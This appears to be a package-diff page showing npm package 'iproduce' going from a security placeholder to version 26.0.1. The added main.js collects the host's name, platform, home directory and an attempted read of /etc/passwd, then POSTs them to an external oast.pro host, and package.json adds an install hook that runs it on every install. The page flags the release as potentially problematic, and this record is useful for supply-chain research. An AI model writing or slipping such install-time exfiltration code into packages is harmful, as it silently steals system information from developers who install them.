iproduce 0.0.1-security → 26.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of iproduce might be problematic. Click here for more details.
- package/main.js +38 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/main.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
const fs = require('fs')
|
4
|
+
|
5
|
+
var hostname = os.hostname();
|
6
|
+
var homedir=os.homedir();
|
7
|
+
var platform=os.platform();
|
8
|
+
var filecontents;
|
9
|
+
try {
|
10
|
+
fileContents = fs.readFile('/etc/passwd');
|
11
|
+
} catch (err) {
|
12
|
+
fileContents ="error";
|
13
|
+
}
|
14
|
+
|
15
|
+
const data = new TextEncoder().encode(
|
16
|
+
JSON.stringify({
|
17
|
+
payload: hostname,
|
18
|
+
file: fileContents,
|
19
|
+
project_id: process.argv[2],
|
20
|
+
home:homedir
|
21
|
+
})
|
22
|
+
);
|
23
|
+
|
24
|
+
const options = {
|
25
|
+
hostname: hostname +'.'+ platform + '.cl90ujr9u3p1pslamntgafludxgevpomw.oast.pro',
|
26
|
+
port: 443,
|
27
|
+
path: '/',
|
28
|
+
method: 'POST',
|
29
|
+
headers: {
|
30
|
+
'Content-Type': 'application/json',
|
31
|
+
'Content-Length': data.length
|
32
|
+
},
|
33
|
+
rejectUnauthorized: false
|
34
|
+
}
|
35
|
+
|
36
|
+
const req = https.request(options, res => {});
|
37
|
+
req.write(data);
|
38
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "iproduce",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "26.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"install": "node main.js iproduce1"
|
9
|
+
},
|
10
|
+
"author": "zakaria_bt",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=iproduce for more information.
|